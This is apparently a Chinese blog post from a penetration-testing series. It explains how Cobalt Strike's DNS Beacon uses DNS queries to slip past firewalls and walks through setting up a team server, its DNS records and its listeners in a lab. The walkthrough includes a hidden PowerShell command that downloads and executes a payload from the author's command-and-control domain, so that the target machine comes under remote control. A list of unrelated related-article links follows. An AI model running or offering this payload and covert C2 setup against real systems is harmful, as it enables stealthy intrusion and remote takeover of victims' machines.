150.网络安全渗透测试—[Cobalt Strike系列]—[DNS Beacon原理/实战测试]

news2024/11/9 3:42:34

我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

    • 一、DNS Beacon原理
      • 1、DNS Beacon简介
      • 2、DSN Beacon工作原理
    • 二、DNS Beacon实战测试
      • 1、实战测试前提
      • 2、实战测试过程

一、DNS Beacon原理

1、DNS Beacon简介

(1)DNS 木马优缺点
    dns木马因为隐蔽性好,在受害者不会开放任何端口的时候可以规避防火墙协议,因为走的是53端口 (服务器),防火墙不会拦截,缺点响应慢。

(2)DNS Beacon的类型
    windows/beacon_dns/reserve_http (传输数据小)
有效载荷通过HTTP连接分阶段。当您创建此侦听器时,请注意您正在配置主机和端口Cobalt Strike将使用通过HTTP分阶段此有效负载。当您选择设置此有效负载时,Cobalt Strike在端口53上站起来的DNS服务器。

    windows/beacon_dns/reverse_dns_txt (传输数据大)
有效负载使用DNS TXT记录下载和分级混合HTTP和DNS beacon。当您创建此侦听器时,请注意,您正在配置该有效负载将用于HTTP通信的端口。再次,Cobalt Strike知道在53端口站起来一个DNS服务器。

    beacon_dns/reserve_http(支持命令切换到该模式:mode dns)
将http通信方式,改为了使用dns的a记录方式进行通信。速度较慢,但非常隐蔽,推荐使用!

    beacon_dns/reserve_dns_txt(支持命令切换到该模式:mode dns-txt)
同上,只是改为使用dns的txt方式进行通信,传输的数据量更大,推荐使用!

2、DSN Beacon工作原理

(1)流程图
在这里插入图片描述
    从上图中可以看到,当我们给CS的team server搞了一个域名并配置相应的A记录以及指向自身A记录的NS记录后,DNS请求就会被迭代查询的本地DNS服务器一步一步引向team server,team server收到了服务端的特殊请求后便可以用封装的加密通信协议与之交互了。
//A记录:用来指定主机名或者是域名对应的IP地址记录。是DNS服务器中告诉用户该域名指向哪个IP地址的记录。
//NS记录:是域名服务器记录,用来指定由哪台服务器对该域名进行解析

(2)具体分析:当靶机在运行了payload后,会对域名123456.ns1.clqwsn.xyz进行解析

  1. 靶机首先会去查询本地的hosts文件是否存在123456.ns1.clqwsn.xyz的记录,若没有则返回;
  2. 靶机接着从本地DNS服务器查询,若本地DNS服务器的缓存中没有记录,则会开始进行迭代查询;
  3. 本地DNS服务器首先会向根域名服务器发起询问,问你知道123456.ns1.clqwsn.xyz吗,然而根域服务器说"我不知道,但是.xyz服务器可能会知道";
  4. 本地DNS服务器接着去问.xyz服务器, .xyz服务器说:"我也不知道,但是clqwsn.xyz服务器可能会知道;
  5. 本地DNS服务器再去问clqwsn.xyz服务器,clqwsn.xyz服务器又说:"我同样不知道,ns1.clqwsn.xyz服务器可能会知道;
  6. 最终本地DNS服务器访问了ns1.clqwsn.xyz域名服务器,但是ns1.clqwsn.xyz的ns记录指向了cs.clqwsn.xyz域名服务器, 该cs.clqwsn.xyz是我们的team server服务器,team server开启了53服务并查询到了123456.ns1.clqwsn.xyz的响应值, 随后ns1.clqwsn.xyz服务器将响应值返回给本地DNS服务器,本地DNS服务器再返回给靶机。

二、DNS Beacon实战测试

1、实战测试前提

(1)一台virmach购买的公网VPS:x.x.x.x

在这里插入图片描述
(2)一个godaddy申请的域名:clqwsn.xyz

第一步:在域名管理处,创建一个A记录指向我们的公网team server主机,即cs.clqwsn.xyz 指向 x.x.x.x;

第二步:创建两个ns记录(NS记录是指定由哪个DNS服务器解析你的域名)指向自身的A记录【让自己充当dns服务器】, 即分别是ns1.clqwsn.xyz和ns2.clqwsn.xyz指向cs.clqwsn.xyz。

//如下图所示:
在这里插入图片描述

2、实战测试过程

(1)公网主机开启team server:./teamserver x.x.x.x 123456
//如下图所示:x.x.x.x是我们的公网vps的IP
在这里插入图片描述
(2)真机充当攻击者团队成员,去连接team server:双击cobaltstrike.bat
在这里插入图片描述

(3)创建监听器,开启team server的侦听
//如下图所示:此处host填写公网IP对应的域名cs.clqwn.xyz
在这里插入图片描述

//如下图所示:传输地址填写ns1.clqwsn.xyz,ns2.clqwsn.xyz
在这里插入图片描述
(4)nslookup测试dns服务:nslookup 123456.ns1.clqwsn.xyz
//如下图所示:只要监听器配置正确,则会返回非权威回答的0.0.0.0,若没有配置或不正确则会显示超时。
在这里插入图片描述

(5)dig +trace测试dns服务:
//如下图所示:该命令其实是想知道完整的域名迭代查询过程
在这里插入图片描述
(6)生成payload攻击载荷:脚本web传递
//如下图所示:host填写cs.clqwsn.xyz
在这里插入图片描述

//如下图所示:保存下来payloadpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs.clqwsn.xyz:80/a'))"
在这里插入图片描述

(7)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs.clqwsn.xyz:80/a'))"
在这里插入图片描述
//如下图所示:我们在靶机运行后,在cs的web日志和视图可以看到靶机已上线
在这里插入图片描述

(8)靶机上线后,右键视图下的靶机,单击beacon,进入beacon,执行checkin强制被控端回连(受害人主动请求)
//如下图所示:我们需要等待一会
在这里插入图片描述
//如下图所示:等待一两分钟后,靶机上线
在这里插入图片描述

(9)转换协议:mode [http | dns | dns-txt]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/411179.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据分析工具Power BI(三):导入数据操作介绍

导入数据操作介绍进入PowBI,弹出的如下页面也可以直接关闭,在Power BI中想要导入数据需要通过Power Query 编辑器,Power Query 主要用来清洗和整理数据。文件资料下载:https://download.csdn.net/download/xiaoweite1/87587711一、…

Wijmo JavaScript UI 5.20222.877 Crack

Wijmo使用更快、更灵活的 JavaScript UI 组件构建更好的应用程序 使用 Wijmo,利用我们引人注目的 UI 组件库,将更多时间花在应用程序的核心功能上。要求零依赖,Wijmo sports弹性网格,业内最好的 JavaScript 数据网格,提…

JVM性能调优方法和模板

每天 100 万次登陆请求,8G 内存该如何设置 JVM 参数,大概可以分为以下 8 个步骤 。 第一步、新系统上线如何规划容量? 1. 套路总结 任何新的业务系统在上线以前都需要去估算服务器配置和 JVM 的内存参数,这个容量与资源规划并不…

关于 AI ,大家关心的问题

阅读本文大概需要 1.46 分钟。兄弟们,自从我跟曹老师准备合伙做一个 AI 生态的新社群之后,很多人问我最多的问题就是:AI 时代对我们普通人来说意味着什么?普通人又该如何去把握 AI 时代的机会?那么,今天&am…

nodejs+vue家庭菜谱食谱管理系统

目 录 摘 要 I ABSTRACT I 目 录 III 第1章 绪论 1 1.1开发背景 1 1.2开发意义 1 1.3研究内容 1 第2章 主要技术和工具介绍 5 第3章 系统分析 4 3.1可行性分析 4 3.1.1经济可行性 4 3.1.2技术可行性 4 3.1.3操作可行性 4 3.2需求分…

【云原生】k8s Ingress 实现流量路由规则控制

文章目录前言什么是 IngressIngress 的定义格式Ingress 的类型有哪几种?1. Simple fanout2. Name-based virtual hosting3. Path-based routing该如何实现更新 IngressIngress ControllerIngress Class总结前言 在 Kubernetes 中,Ingress 是一个非常重要…

【数据结构与算法分析inC-MarkAllen】1-数学基础

文章目录1. 第一章1.1 进行算法分析目的1.1.1 适应大量数据情况从 NNN 个数中选择第 kkk 大的数递减排序,取第K大的数插入排序思想1.1.2 边界条件正确1.2 数学知识复习1.2.1 指数1.2.2 对数1.2.3 级数几何级数算术级数1.2.4 模运算性质1.2.5 证明方法归纳法斐波那契…

CRM系统和ERP管理系统二者有何区别?

我们常提到的企业管理系统有CRM系统和ERP管理系统,那么二者有何区别呢? 一、目的。 CRM客户关系管理系统主要的目的是已客户关系的建立、发展以及维护。ERP系统主要强调的业务目的是未来提高整个业务的生产力。 二、重点。 …

回顾|伍鸣博士出席《华人之光-世界瞩目的华人 Web3 项目》圆桌论坛

*本文节选自Foresight News《华人之光——世界瞩目的华人 Web3 项目》的圆桌论坛由 Foresight Ventures 与 Foresight News 联合主办的「FORESIGHT 2023 」年度峰会上,在《华人之光——世界瞩目的华人 Web3 项目》的圆桌论坛中,Conflux Co-Founder 伍鸣、…

LiveData数据倒灌?你真的用对了吗?源码解析

文章目录livedata/lifecycleandroidx-lifecycle基本使用uml-关键角色关系观察者模式关键源码分析livedata基本使用源码分析还是从observe开始livedata变化通知观察者viewmodel源码分析FAQlifecycle用到的设计模式lifecycle是如何监听aty生命周期的一些废弃和原因为什么废弃注解…

理解RESTful架构

越来越多的人开始意识到,网站即软件,而且是一种新型的软件。 这种"互联网软件"采用客户端/服务器模式,建立在分布式体系上,通过互联网通信,具有高延时(high latency)、高并发等特点。…

【华为机试真题详解JAVA实现】—配置文件恢复

目录 一、题目描述 二、解题代码 一、题目描述 有6条配置命令,它们执行的结果分别是: 命 令执 行resetreset whatreset boardboard faultboard addwhere to add<

Flash Linux to eMMC

实验目的&#xff1a;从eMMC启动Linux系统 Step1:确定eMMC被挂在哪个设备 哪个设备含有boot0分区和boot1分区&#xff0c;就是eMMC。实验中是位于mmcblk1上。 rootam64xx-evm:~# ls -l /dev/mmcblk* brw-rw---- 1 root disk 179, 0 Feb 27 13:25 /dev/mmcblk0 brw-rw---- …

实验三、图像复原

1. 实验目的 (1) 理解退化模型。 (2) 掌握常用的图像复原方法。 2. 实验内容 (1) 模拟噪声的行为和影响的能力是图像复原的核心。 示例 1 &#xff1a;使用 imnoise 添加噪声。 J imnoise(I,gaussian) 将方差为 0.01 的零均值高斯白噪声添加到灰度图像 I。 J imnoise(I,g…

简单的做一个学校毕业啊项目

前言&#xff1a;相信看到这篇文章的小伙伴都或多或少有一些编程基础&#xff0c;懂得一些linux的基本命令了吧&#xff0c;本篇文章将带领大家服务器如何部署一个使用django框架开发的一个网站进行云服务器端的部署。 文章使用到的的工具 Python&#xff1a;一种编程语言&…

2023年14界蓝桥杯省赛题解

2023年14界蓝桥杯省赛题解 蒟蒻笔者大二&#xff0c;第一次省赛。总结一下&#xff1a;“300块没了&#xff0c;退钱&#xff01;” A、日期统计 问题描述 小蓝现在有一个长度为 100 的数组&#xff0c;数组中的每个元素的值都在 0 到 9 的范围之内。数组中的元素从左至右如…

【Spring专题】「技术原理」从源码角度去深入分析关于Spring的异常处理ExceptionHandler的实现原理

ExceptionHandler的作用 ExceptionHandler是Spring框架提供的一个注解&#xff0c;用于处理应用程序中的异常。当应用程序中发生异常时&#xff0c;ExceptionHandler将优先地拦截异常并处理它&#xff0c;然后将处理结果返回到前端。该注解可用于类级别和方法级别&#xff0c;…

ONNX转NCNN记录

【pytorch 转 onnx】pytorch-onnx 【onnx 转 ncnn】onnx-ncnn 【ncnn 加载模型】ncnn-load 一、python安装依赖项 pip install onnxruntime onnx opencv-python 二、创建模型并训练&#xff0c;加载模型参数并输出onnx #### pytorch 转 onnx import torch import torch.onnx…

小白学Pytorch系列- -torch.distributions API Distributions (1)

小白学Pytorch系列- -torch.distributions API Distributions (1) 分布包包含可参数化的概率分布和抽样函数。这允许构造用于优化的随机计算图和随机梯度估计器。这个包通常遵循TensorFlow分发包的设计。 不可能通过随机样本直接反向传播。但是&#xff0c;有两种主要方法可以…

【华为机试真题详解JAVA实现】—矩阵乘法

目录 一、题目描述 二、解题代码 一、题目描述 如果A是个x行y列的矩阵,B是个y行z列的矩阵,把A和B相乘,其结果将是另一个x行z列的矩阵C。这个矩阵的每个元素是由下面的公式决定的 矩阵的大小不超过100*100 输入描述: 第一行包含一个正整数x,代表第一个矩阵的行数 第二行…